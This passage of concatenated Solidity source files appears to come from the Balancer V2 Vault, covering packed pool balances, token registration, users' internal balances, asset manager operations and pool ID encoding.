}
/**
* @dev Moves 'managed' into 'cash', leaving 'total' unchanged. Called when an Asset Manager deposits Pool tokens
* into the Vault.
*/
function managedToCash(bytes32 balance, uint256 amount) internal pure returns (bytes32) {
uint256 newCash = cash(balance).add(amount);
uint256 newManaged = managed(balance).sub(amount);
uint256 currentLastChangeBlock = lastChangeBlock(balance);
return toBalance(newCash, newManaged, currentLastChangeBlock);
}
/**
* @dev Sets 'managed' balance to an arbitrary value, changing 'total'. Called when the Asset Manager reports
* profits or losses. It's the Manager's responsibility to provide a meaningful value.
*
* Updates the last total balance change block, even if `newManaged` is equal to the current 'managed' value.
*/
function setManaged(bytes32 balance, uint256 newManaged) internal view returns (bytes32) {
uint256 currentCash = cash(balance);
uint256 newLastChangeBlock = block.number;
return toBalance(currentCash, newManaged, newLastChangeBlock);
}
// Alternative mode for Pools with the Two Token specialization setting
// Instead of storing cash and external for each 'token in' a single storage slot, Two Token Pools store the cash
// for both tokens in the same slot, and the managed for both in another one. This reduces the gas cost for swaps,
// because the only slot that needs to be updated is the one with the cash. However, it also means that managing
// balances is more cumbersome, as both tokens need to be read/written at the same time.
//
// The field with both cash balances packed is called sharedCash, and the one with external amounts is called
// sharedManaged. These two are collectively called the 'shared' balance fields. In both of these, the portion
// that corresponds to token A is stored in the least significant 112 bits of a 256 bit word, while token B's part
// uses the next least significant 112 bits.
//
// Because only cash is written to during a swap, we store the last total balance change block with the
// packed cash fields. Typically Pools have a distinct block per token: in the case of Two Token Pools they
// are the same.
/**
* @dev Extracts the part of the balance that corresponds to token A. This function can be used to decode both
* shared cash and managed balances.
*/
function _decodeBalanceA(bytes32 sharedBalance) private pure returns (uint256) {
uint256 mask = 2**(112) - 1;
return uint256(sharedBalance) & mask;
}
/**
* @dev Extracts the part of the balance that corresponds to token B. This function can be used to decode both
* shared cash and managed balances.
*/
function _decodeBalanceB(bytes32 sharedBalance) private pure returns (uint256) {
uint256 mask = 2**(112) - 1;
return uint256(sharedBalance >> 112) & mask;
}
// To decode the last balance change block, we can simply use the `blockNumber` function.
/**
* @dev Unpacks the shared token A and token B cash and managed balances into the balance for token A.
*/
function fromSharedToBalanceA(bytes32 sharedCash, bytes32 sharedManaged) internal pure returns (bytes32) {
// Note that we extract the block from the sharedCash field, which is the one that is updated by swaps.
// Both token A and token B use the same block
return toBalance(_decodeBalanceA(sharedCash), _decodeBalanceA(sharedManaged), lastChangeBlock(sharedCash));
}
/**
* @dev Unpacks the shared token A and token B cash and managed balances into the balance for token B.
*/
function fromSharedToBalanceB(bytes32 sharedCash, bytes32 sharedManaged) internal pure returns (bytes32) {
// Note that we extract the block from the sharedCash field, which is the one that is updated by swaps.
// Both token A and token B use the same block
return toBalance(_decodeBalanceB(sharedCash), _decodeBalanceB(sharedManaged), lastChangeBlock(sharedCash));
}
/**
* @dev Returns the sharedCash shared field, given the current balances for token A and token B.
*/
function toSharedCash(bytes32 tokenABalance, bytes32 tokenBBalance) internal pure returns (bytes32) {
// Both balances are assigned the same block Since it is possible a single one of them has changed (for
// example, in an Asset Manager update), we keep the latest (largest) one.
uint32 newLastChangeBlock = uint32(Math.max(lastChangeBlock(tokenABalance), lastChangeBlock(tokenBBalance)));
return _pack(cash(tokenABalance), cash(tokenBBalance), newLastChangeBlock);
}
/**
* @dev Returns the sharedManaged shared field, given the current balances for token A and token B.
*/
function toSharedManaged(bytes32 tokenABalance, bytes32 tokenBBalance) internal pure returns (bytes32) {
// We don't bother storing a last change block, as it is read from the shared cash field.
return _pack(managed(tokenABalance), managed(tokenBBalance), 0);
}
// Shared functions
/**
* @dev Packs together two uint112 and one uint32 into a bytes32
*/
function _pack(
uint256 _leastSignificant,
uint256 _midSignificant,
uint256 _mostSignificant
) private pure returns (bytes32) {
return bytes32((_mostSignificant << 224) + (_midSignificant << 112) + _leastSignificant);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "../lib/helpers/BalancerErrors.sol";
import "../lib/openzeppelin/ReentrancyGuard.sol";
import "./AssetManagers.sol";
import "./PoolRegistry.sol";
import "./balances/BalanceAllocation.sol";
abstract contract PoolTokens is ReentrancyGuard, PoolRegistry, AssetManagers {
using BalanceAllocation for bytes32;
using BalanceAllocation for bytes32[];
function registerTokens(
bytes32 poolId,
IERC20[] memory tokens,
address[] memory assetManagers
) external override nonReentrant whenNotPaused onlyPool(poolId) {
InputHelpers.ensureInputLengthMatch(tokens.length, assetManagers.length);
// Validates token addresses and assigns Asset Managers
for (uint256 i = 0; i < tokens.length; ++i) {
IERC20 token = tokens[i];
_require(token != IERC20(0), Errors.INVALID_TOKEN);
_poolAssetManagers[poolId][token] = assetManagers[i];
}
PoolSpecialization specialization = _getPoolSpecialization(poolId);
if (specialization == PoolSpecialization.TWO_TOKEN) {
_require(tokens.length == 2, Errors.TOKENS_LENGTH_MUST_BE_2);
_registerTwoTokenPoolTokens(poolId, tokens[0], tokens[1]);
} else if (specialization == PoolSpecialization.MINIMAL_SWAP_INFO) {
_registerMinimalSwapInfoPoolTokens(poolId, tokens);
} else {
// PoolSpecialization.GENERAL
_registerGeneralPoolTokens(poolId, tokens);
}
emit TokensRegistered(poolId, tokens, assetManagers);
}
function deregisterTokens(bytes32 poolId, IERC20[] memory tokens)
external
override
nonReentrant
whenNotPaused
onlyPool(poolId)
{
PoolSpecialization specialization = _getPoolSpecialization(poolId);
if (specialization == PoolSpecialization.TWO_TOKEN) {
_require(tokens.length == 2, Errors.TOKENS_LENGTH_MUST_BE_2);
_deregisterTwoTokenPoolTokens(poolId, tokens[0], tokens[1]);
} else if (specialization == PoolSpecialization.MINIMAL_SWAP_INFO) {
_deregisterMinimalSwapInfoPoolTokens(poolId, tokens);
} else {
// PoolSpecialization.GENERAL
_deregisterGeneralPoolTokens(poolId, tokens);
}
// The deregister calls above ensure the total token balance is zero. Therefore it is now safe to remove any
// associated Asset Managers, since they hold no Pool balance.
for (uint256 i = 0; i < tokens.length; ++i) {
delete _poolAssetManagers[poolId][tokens[i]];
}
emit TokensDeregistered(poolId, tokens);
}
function getPoolTokens(bytes32 poolId)
external
view
override
withRegisteredPool(poolId)
returns (
IERC20[] memory tokens,
uint256[] memory balances,
uint256 lastChangeBlock
)
{
bytes32[] memory rawBalances;
(tokens, rawBalances) = _getPoolTokens(poolId);
(balances, lastChangeBlock) = rawBalances.totalsAndLastChangeBlock();
}
function getPoolTokenInfo(bytes32 poolId, IERC20 token)
external
view
override
withRegisteredPool(poolId)
returns (
uint256 cash,
uint256 managed,
uint256 lastChangeBlock,
address assetManager
)
{
bytes32 balance;
PoolSpecialization specialization = _getPoolSpecialization(poolId);
if (specialization == PoolSpecialization.TWO_TOKEN) {
balance = _getTwoTokenPoolBalance(poolId, token);
} else if (specialization == PoolSpecialization.MINIMAL_SWAP_INFO) {
balance = _getMinimalSwapInfoPoolBalance(poolId, token);
} else {
// PoolSpecialization.GENERAL
balance = _getGeneralPoolBalance(poolId, token);
}
cash = balance.cash();
managed = balance.managed();
lastChangeBlock = balance.lastChangeBlock();
assetManager = _poolAssetManagers[poolId][token];
}
/**
* @dev Returns all of `poolId`'s registered tokens, along with their raw balances.
*/
function _getPoolTokens(bytes32 poolId) internal view returns (IERC20[] memory tokens, bytes32[] memory balances) {
PoolSpecialization specialization = _getPoolSpecialization(poolId);
if (specialization == PoolSpecialization.TWO_TOKEN) {
return _getTwoTokenPoolTokens(poolId);
} else if (specialization == PoolSpecialization.MINIMAL_SWAP_INFO) {
return _getMinimalSwapInfoPoolTokens(poolId);
} else {
// PoolSpecialization.GENERAL
return _getGeneralPoolTokens(poolId);
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "../lib/helpers/BalancerErrors.sol";
import "../lib/math/Math.sol";
import "../lib/openzeppelin/IERC20.sol";
import "../lib/openzeppelin/ReentrancyGuard.sol";
import "../lib/openzeppelin/SafeCast.sol";
import "../lib/openzeppelin/SafeERC20.sol";
import "./AssetTransfersHandler.sol";
import "./VaultAuthorization.sol";
/**
* Implement User Balance interactions, which combine Internal Balance and using the Vault's ERC20 allowance.
*
* Users can deposit tokens into the Vault, where they are allocated to their Internal Balance, and later
* transferred or withdrawn. It can also be used as a source of tokens when joining Pools, as a destination
* when exiting them, and as either when performing swaps. This usage of Internal Balance results in greatly reduced
* gas costs when compared to relying on plain ERC20 transfers, leading to large savings for frequent users.
*
* Internal Balance management features batching, which means a single contract call can be used to perform multiple
* operations of different kinds, with different senders and recipients, at once.
*/
abstract contract UserBalance is ReentrancyGuard, AssetTransfersHandler, VaultAuthorization {
using Math for uint256;
using SafeCast for uint256;
using SafeERC20 for IERC20;
// Internal Balance for each token, for each account.
mapping(address => mapping(IERC20 => uint256)) private _internalTokenBalance;
function getInternalBalance(address user, IERC20[] memory tokens)
external
view
override
returns (uint256[] memory balances)
{
balances = new uint256[](tokens.length);
for (uint256 i = 0; i < tokens.length; i++) {
balances[i] = _getInternalBalance(user, tokens[i]);
}
}
function manageUserBalance(UserBalanceOp[] memory ops) external payable override nonReentrant {
// We need to track how much of the received ETH was used and wrapped into WETH to return any excess.
uint256 ethWrapped = 0;
// Cache for these checks so we only perform them once (if at all).
bool checkedCallerIsRelayer = false;
bool checkedNotPaused = false;
for (uint256 i = 0; i < ops.length; i++) {
UserBalanceOpKind kind;
IAsset asset;
uint256 amount;
address sender;
address payable recipient;
// This destructuring by calling `_validateUserBalanceOp` seems odd, but results in reduced bytecode size.
(kind, asset, amount, sender, recipient, checkedCallerIsRelayer) = _validateUserBalanceOp(
ops[i],
checkedCallerIsRelayer
);
if (kind == UserBalanceOpKind.WITHDRAW_INTERNAL) {
// Internal Balance withdrawals can always be performed by an authorized account.
_withdrawFromInternalBalance(asset, sender, recipient, amount);
} else {
// All other operations are blocked if the contract is paused.
// We cache the result of the pause check and skip it for other operations in this same transaction
// (if any).
if (!checkedNotPaused) {
_ensureNotPaused();
checkedNotPaused = true;
}
if (kind == UserBalanceOpKind.DEPOSIT_INTERNAL) {
_depositToInternalBalance(asset, sender, recipient, amount);
// Keep track of all ETH wrapped into WETH as part of a deposit.
if (_isETH(asset)) {
ethWrapped = ethWrapped.add(amount);
}
} else {
// Transfers don't support ETH.
_require(!_isETH(asset), Errors.CANNOT_USE_ETH_SENTINEL);
IERC20 token = _asIERC20(asset);
if (kind == UserBalanceOpKind.TRANSFER_INTERNAL) {
_transferInternalBalance(token, sender, recipient, amount);
} else {
// TRANSFER_EXTERNAL
_transferToExternalBalance(token, sender, recipient, amount);
}
}
}
}
// Handle any remaining ETH.
_handleRemainingEth(ethWrapped);
}
function _depositToInternalBalance(
IAsset asset,
address sender,
address recipient,
uint256 amount
) private {
_increaseInternalBalance(recipient, _translateToIERC20(asset), amount);
_receiveAsset(asset, amount, sender, false);
}
function _withdrawFromInternalBalance(
IAsset asset,
address sender,
address payable recipient,
uint256 amount
) private {
// A partial decrease of Internal Balance is disallowed: `sender` must have the full `amount`.
_decreaseInternalBalance(sender, _translateToIERC20(asset), amount, false);
_sendAsset(asset, amount, recipient, false);
}
function _transferInternalBalance(
IERC20 token,
address sender,
address recipient,
uint256 amount
) private {
// A partial decrease of Internal Balance is disallowed: `sender` must have the full `amount`.
_decreaseInternalBalance(sender, token, amount, false);
_increaseInternalBalance(recipient, token, amount);
}
function _transferToExternalBalance(
IERC20 token,
address sender,
address recipient,
uint256 amount
) private {
if (amount > 0) {
token.safeTransferFrom(sender, recipient, amount);
emit ExternalBalanceTransfer(token, sender, recipient, amount);
}
}
/**
* @dev Increases `account`'s Internal Balance for `token` by `amount`.
*/
function _increaseInternalBalance(
address account,
IERC20 token,
uint256 amount
) internal override {
uint256 currentBalance = _getInternalBalance(account, token);
uint256 newBalance = currentBalance.add(amount);
_setInternalBalance(account, token, newBalance, amount.toInt256());
}
/**
* @dev Decreases `account`'s Internal Balance for `token` by `amount`. If `allowPartial` is true, this function
* doesn't revert if `account` doesn't have enough balance, and sets it to zero and returns the deducted amount
* instead.
*/
function _decreaseInternalBalance(
address account,
IERC20 token,
uint256 amount,
bool allowPartial
) internal override returns (uint256 deducted) {
uint256 currentBalance = _getInternalBalance(account, token);
_require(allowPartial || (currentBalance >= amount), Errors.INSUFFICIENT_INTERNAL_BALANCE);
deducted = Math.min(currentBalance, amount);
// By construction, `deducted` is lower or equal to `currentBalance`, so we don't need to use checked
// arithmetic.
uint256 newBalance = currentBalance - deducted;
_setInternalBalance(account, token, newBalance, -(deducted.toInt256()));
}
/**
* @dev Sets `account`'s Internal Balance for `token` to `newBalance`.
*
* Emits an `InternalBalanceChanged` event. This event includes `delta`, which is the amount the balance increased
* (if positive) or decreased (if negative). To avoid reading the current balance in order to compute the delta,
* this function relies on the caller providing it directly.
*/
function _setInternalBalance(
address account,
IERC20 token,
uint256 newBalance,
int256 delta
) private {
_internalTokenBalance[account][token] = newBalance;
emit InternalBalanceChanged(account, token, delta);
}
/**
* @dev Returns `account`'s Internal Balance for `token`.
*/
function _getInternalBalance(address account, IERC20 token) internal view returns (uint256) {
return _internalTokenBalance[account][token];
}
/**
* @dev Destructures a User Balance operation, validating that the contract caller is allowed to perform it.
*/
function _validateUserBalanceOp(UserBalanceOp memory op, bool checkedCallerIsRelayer)
private
view
returns (
UserBalanceOpKind,
IAsset,
uint256,
address,
address payable,
bool
)
{
// The only argument we need to validate is `sender`, which can only be either the contract caller, or a
// relayer approved by `sender`.
address sender = op.sender;
if (sender != msg.sender) {
// We need to check both that the contract caller is a relayer, and that `sender` approved them.
// Because the relayer check is global (i.e. independent of `sender`), we cache that result and skip it for
// other operations in this same transaction (if any).
if (!checkedCallerIsRelayer) {
_authenticateCaller();
checkedCallerIsRelayer = true;
}
_require(_hasApprovedRelayer(sender, msg.sender), Errors.USER_DOESNT_ALLOW_RELAYER);
}
return (op.kind, op.asset, op.amount, sender, op.recipient, checkedCallerIsRelayer);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "./IVault.sol";
import "./IPoolSwapStructs.sol";
/**
* @dev Interface for adding and removing liquidity that all Pool contracts should implement. Note that this is not
* the complete Pool contract interface, as it is missing the swap hooks. Pool contracts should also inherit from
* either IGeneralPool or IMinimalSwapInfoPool
*/
interface IBasePool is IPoolSwapStructs {
/**
* @dev Called by the Vault when a user calls `IVault.joinPool` to add liquidity to this Pool. Returns how many of
* each registered token the user should provide, as well as the amount of protocol fees the Pool owes to the Vault.
* The Vault will then take tokens from `sender` and add them to the Pool's balances, as well as collect
* the reported amount in protocol fees, which the pool should calculate based on `protocolSwapFeePercentage`.
*
* Protocol fees are reported and charged on join events so that the Pool is free of debt whenever new users join.
*
* `sender` is the account performing the join (from which tokens will be withdrawn), and `recipient` is the account
* designated to receive any benefits (typically pool shares). `currentBalances` contains the total balances
* for each token the Pool registered in the Vault, in the same order that `IVault.getPoolTokens` would return.
*
* `lastChangeBlock` is the last block in which *any* of the Pool's registered tokens last changed its total
* balance.
*
* `userData` contains any pool-specific instructions needed to perform the calculations, such as the type of
* join (e.g., proportional given an amount of pool shares, single-asset, multi-asset, etc.)
*
* Contracts implementing this function should check that the caller is indeed the Vault before performing any
* state-changing operations, such as minting pool shares.
*/
function onJoinPool(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
bytes memory userData
) external returns (uint256[] memory amountsIn, uint256[] memory dueProtocolFeeAmounts);
/**
* @dev Called by the Vault when a user calls `IVault.exitPool` to remove liquidity from this Pool. Returns how many
* tokens the Vault should deduct from the Pool's balances, as well as the amount of protocol fees the Pool owes
* to the Vault. The Vault will then take tokens from the Pool's balances and send them to `recipient`,
* as well as collect the reported amount in protocol fees, which the Pool should calculate based on
* `protocolSwapFeePercentage`.
*
* Protocol fees are charged on exit events to guarantee that users exiting the Pool have paid their share.
*
* `sender` is the account performing the exit (typically the pool shareholder), and `recipient` is the account
* to which the Vault will send the proceeds. `currentBalances` contains the total token balances for each token
* the Pool registered in the Vault, in the same order that `IVault.getPoolTokens` would return.
*
* `lastChangeBlock` is the last block in which *any* of the Pool's registered tokens last changed its total
* balance.
*
* `userData` contains any pool-specific instructions needed to perform the calculations, such as the type of
* exit (e.g., proportional given an amount of pool shares, single-asset, multi-asset, etc.)
*
* Contracts implementing this function should check that the caller is indeed the Vault before performing any
* state-changing operations, such as burning pool shares.
*/
function onExitPool(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
bytes memory userData
) external returns (uint256[] memory amountsOut, uint256[] memory dueProtocolFeeAmounts);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "../lib/math/Math.sol";
import "../lib/helpers/BalancerErrors.sol";
import "../lib/helpers/InputHelpers.sol";
import "../lib/openzeppelin/IERC20.sol";
import "../lib/openzeppelin/SafeERC20.sol";
import "../lib/openzeppelin/ReentrancyGuard.sol";
import "./UserBalance.sol";
import "./balances/BalanceAllocation.sol";
import "./balances/GeneralPoolsBalance.sol";
import "./balances/MinimalSwapInfoPoolsBalance.sol";
import "./balances/TwoTokenPoolsBalance.sol";
abstract contract AssetManagers is
ReentrancyGuard,
GeneralPoolsBalance,
MinimalSwapInfoPoolsBalance,
TwoTokenPoolsBalance
{
using Math for uint256;
using SafeERC20 for IERC20;
// Stores the Asset Manager for each token of each Pool.
mapping(bytes32 => mapping(IERC20 => address)) internal _poolAssetManagers;
function managePoolBalance(PoolBalanceOp[] memory ops) external override nonReentrant whenNotPaused {
// This variable could be declared inside the loop, but that causes the compiler to allocate memory on each
// loop iteration, increasing gas costs.
PoolBalanceOp memory op;
for (uint256 i = 0; i < ops.length; ++i) {
// By indexing the array only once, we don't spend extra gas in the same bounds check.
op = ops[i];
bytes32 poolId = op.poolId;
_ensureRegisteredPool(poolId);
IERC20 token = op.token;
_require(_isTokenRegistered(poolId, token), Errors.TOKEN_NOT_REGISTERED);
_require(_poolAssetManagers[poolId][token] == msg.sender, Errors.SENDER_NOT_ASSET_MANAGER);
PoolBalanceOpKind kind = op.kind;
uint256 amount = op.amount;
(int256 cashDelta, int256 managedDelta) = _performPoolManagementOperation(kind, poolId, token, amount);
emit PoolBalanceManaged(poolId, msg.sender, token, cashDelta, managedDelta);
}
}
/**
* @dev Performs the `kind` Asset Manager operation on a Pool.
*
* Withdrawals will transfer `amount` tokens to the caller, deposits will transfer `amount` tokens from the caller,
* and updates will set the managed balance to `amount`.
*
* Returns a tuple with the 'cash' and 'managed' balance deltas as a result of this call.
*/
function _performPoolManagementOperation(
PoolBalanceOpKind kind,
bytes32 poolId,
IERC20 token,
uint256 amount
) private returns (int256, int256) {
PoolSpecialization specialization = _getPoolSpecialization(poolId);
if (kind == PoolBalanceOpKind.WITHDRAW) {
return _withdrawPoolBalance(poolId, specialization, token, amount);
} else if (kind == PoolBalanceOpKind.DEPOSIT) {
return _depositPoolBalance(poolId, specialization, token, amount);
} else {
// PoolBalanceOpKind.UPDATE
return _updateManagedBalance(poolId, specialization, token, amount);
}
}
/**
* @dev Moves `amount` tokens from a Pool's 'cash' to 'managed' balance, and transfers them to the caller.
*
* Returns the 'cash' and 'managed' balance deltas as a result of this call, which will be complementary.
*/
function _withdrawPoolBalance(
bytes32 poolId,
PoolSpecialization specialization,
IERC20 token,
uint256 amount
) private returns (int256 cashDelta, int256 managedDelta) {
if (specialization == PoolSpecialization.TWO_TOKEN) {
_twoTokenPoolCashToManaged(poolId, token, amount);
} else if (specialization == PoolSpecialization.MINIMAL_SWAP_INFO) {
_minimalSwapInfoPoolCashToManaged(poolId, token, amount);
} else {
// PoolSpecialization.GENERAL
_generalPoolCashToManaged(poolId, token, amount);
}
if (amount > 0) {
token.safeTransfer(msg.sender, amount);
}
// Since 'cash' and 'managed' are stored as uint112, `amount` is guaranteed to also fit in 112 bits. It will
// therefore always fit in a 256 bit integer.
cashDelta = int256(-amount);
managedDelta = int256(amount);
}
/**
* @dev Moves `amount` tokens from a Pool's 'managed' to 'cash' balance, and transfers them from the caller.
*
* Returns the 'cash' and 'managed' balance deltas as a result of this call, which will be complementary.
*/
function _depositPoolBalance(
bytes32 poolId,
PoolSpecialization specialization,
IERC20 token,
uint256 amount
) private returns (int256 cashDelta, int256 managedDelta) {
if (specialization == PoolSpecialization.TWO_TOKEN) {
_twoTokenPoolManagedToCash(poolId, token, amount);
} else if (specialization == PoolSpecialization.MINIMAL_SWAP_INFO) {
_minimalSwapInfoPoolManagedToCash(poolId, token, amount);
} else {
// PoolSpecialization.GENERAL
_generalPoolManagedToCash(poolId, token, amount);
}
if (amount > 0) {
token.safeTransferFrom(msg.sender, address(this), amount);
}
// Since 'cash' and 'managed' are stored as uint112, `amount` is guaranteed to also fit in 112 bits. It will
// therefore always fit in a 256 bit integer.
cashDelta = int256(amount);
managedDelta = int256(-amount);
}
/**
* @dev Sets a Pool's 'managed' balance to `amount`.
*
* Returns the 'cash' and 'managed' balance deltas as a result of this call (the 'cash' delta will always be zero).
*/
function _updateManagedBalance(
bytes32 poolId,
PoolSpecialization specialization,
IERC20 token,
uint256 amount
) private returns (int256 cashDelta, int256 managedDelta) {
if (specialization == PoolSpecialization.TWO_TOKEN) {
managedDelta = _setTwoTokenPoolManagedBalance(poolId, token, amount);
} else if (specialization == PoolSpecialization.MINIMAL_SWAP_INFO) {
managedDelta = _setMinimalSwapInfoPoolManagedBalance(poolId, token, amount);
} else {
// PoolSpecialization.GENERAL
managedDelta = _setGeneralPoolManagedBalance(poolId, token, amount);
}
cashDelta = 0;
}
/**
* @dev Returns true if `token` is registered for `poolId`.
*/
function _isTokenRegistered(bytes32 poolId, IERC20 token) private view returns (bool) {
PoolSpecialization specialization = _getPoolSpecialization(poolId);
if (specialization == PoolSpecialization.TWO_TOKEN) {
return _isTwoTokenPoolTokenRegistered(poolId, token);
} else if (specialization == PoolSpecialization.MINIMAL_SWAP_INFO) {
return _isMinimalSwapInfoPoolTokenRegistered(poolId, token);
} else {
// PoolSpecialization.GENERAL
return _isGeneralPoolTokenRegistered(poolId, token);
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "../lib/helpers/BalancerErrors.sol";
import "../lib/openzeppelin/ReentrancyGuard.sol";
import "./VaultAuthorization.sol";
/**
* @dev Maintains the Pool ID data structure, implements Pool ID creation and registration, and defines useful modifiers
* and helper functions for ensuring correct behavior when working with Pools.
*/
abstract contract PoolRegistry is ReentrancyGuard, VaultAuthorization {
// Each pool is represented by their unique Pool ID. We use `bytes32` for them, for lack of a way to define new
// types.
mapping(bytes32 => bool) private _isPoolRegistered;
// We keep an increasing nonce to make Pool IDs unique. It is interpreted as a `uint80`, but storing it as a
// `uint256` results in reduced bytecode on reads and writes due to the lack of masking.
uint256 private _nextPoolNonce;
/**
* @dev Reverts unless `poolId` corresponds to a registered Pool.
*/
modifier withRegisteredPool(bytes32 poolId) {
_ensureRegisteredPool(poolId);
_;
}
/**
* @dev Reverts unless `poolId` corresponds to a registered Pool, and the caller is the Pool's contract.
*/
modifier onlyPool(bytes32 poolId) {
_ensurePoolIsSender(poolId);
_;
}
/**
* @dev Reverts unless `poolId` corresponds to a registered Pool.
*/
function _ensureRegisteredPool(bytes32 poolId) internal view {
_require(_isPoolRegistered[poolId], Errors.INVALID_POOL_ID);
}
/**
* @dev Reverts unless `poolId` corresponds to a registered Pool, and the caller is the Pool's contract.
*/
function _ensurePoolIsSender(bytes32 poolId) private view {
_ensureRegisteredPool(poolId);
_require(msg.sender == _getPoolAddress(poolId), Errors.CALLER_NOT_POOL);
}
function registerPool(PoolSpecialization specialization)
external
override
nonReentrant
whenNotPaused
returns (bytes32)
{
// Each Pool is assigned a unique ID based on an incrementing nonce. This assumes there will never be more than
// 2**80 Pools, and the nonce will not overflow.
bytes32 poolId = _toPoolId(msg.sender, specialization, uint80(_nextPoolNonce));
_require(!_isPoolRegistered[poolId], Errors.INVALID_POOL_ID); // Should never happen as Pool IDs are unique.
_isPoolRegistered[poolId] = true;
_nextPoolNonce += 1;
// Note that msg.sender is the pool's contract
emit PoolRegistered(poolId, msg.sender, specialization);
return poolId;
}
function getPool(bytes32 poolId)
external
view
override
withRegisteredPool(poolId)
returns (address, PoolSpecialization)
{
return (_getPoolAddress(poolId), _getPoolSpecialization(poolId));
}
/**
* @dev Creates a Pool ID.
*
* These are deterministically created by packing the Pool's contract address and its specialization setting into
* the ID. This saves gas by making this data easily retrievable from a Pool ID with no storage accesses.
*
* Since a single contract can register multiple Pools, a unique nonce must be provided to ensure Pool IDs are
* unique.
*
* Pool IDs have the following layout:
* | 20 bytes pool contract address | 2 bytes specialization setting | 10 bytes nonce |
* MSB LSB
*
* 2 bytes for the specialization setting is a bit overkill: there only three of them, which means two bits would
* suffice. However, there's nothing else of interest to store in this extra space.
*/
function _toPoolId(
address pool,
PoolSpecialization specialization,
uint80 nonce
) internal pure returns (bytes32) {
bytes32 serialized;
serialized |= bytes32(uint256(nonce));
serialized |= bytes32(uint256(specialization)) << (10 * 8);
serialized |= bytes32(uint256(pool)) << (12 * 8);
return serialized;
}
/**
* @dev Returns the address of a Pool's contract.
*
* Due to how Pool IDs are created, this is done with no storage accesses and costs little gas.
*/
function _getPoolAddress(bytes32 poolId) internal pure returns (address) {
// 12 byte logical shift left to remove the nonce and specialization setting. We don't need to mask,
// since the logical shift already sets the upper bits to zero.
return address(uint256(poolId) >> (12 * 8));
}
/**
* @dev Returns the specialization setting of a Pool.
*
* Due to how Pool IDs are created, this is done with no storage accesses and costs little gas.
*/
function _getPoolSpecialization(bytes32 poolId) internal pure returns (PoolSpecialization specialization) {
// 10 byte logical shift left to remove the nonce, followed by a 2 byte mask to remove the address.
uint256 value = uint256(poolId >> (10 * 8)) & (2**(2 * 8) - 1);
// Casting a value into an enum results in a runtime check that reverts unless the value is within the enum's
// range. Passing an invalid Pool ID to this function would then result in an obscure revert with no reason
// string: we instead perform the check ourselves to help in error diagnosis.
// There are three Pool specialization settings: general, minimal swap info and two tokens, which correspond to
// values 0, 1 and 2.
_require(value < 3, Errors.INVALID_POOL_ID);
// Because we have checked that `value` is within the enum range, we can use assembly to skip the runtime check.
// solhint-disable-next-line no-inline-assembly
assembly {
specialization := value
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "../../lib/helpers/BalancerErrors.sol";
import "../../lib/openzeppelin/EnumerableMap.sol";
import "../../lib/openzeppelin/IERC20.sol";
import "./BalanceAllocation.sol";
abstract contract GeneralPoolsBalance {
using BalanceAllocation for bytes32;
using EnumerableMap for EnumerableMap.IERC20ToBytes32Map;
// Data for Pools with the General specialization setting
//
// These Pools use the IGeneralPool interface, which means the Vault must query the balance for *all* of their
// tokens in every swap. If we kept a mapping of token to balance plus a set (array) of tokens, it'd be very gas
// intensive to read all token addresses just to then do a lookup on the balance mapping.
//
// Instead, we use our customized EnumerableMap, which lets us read the N balances in N+1 storage accesses (one for
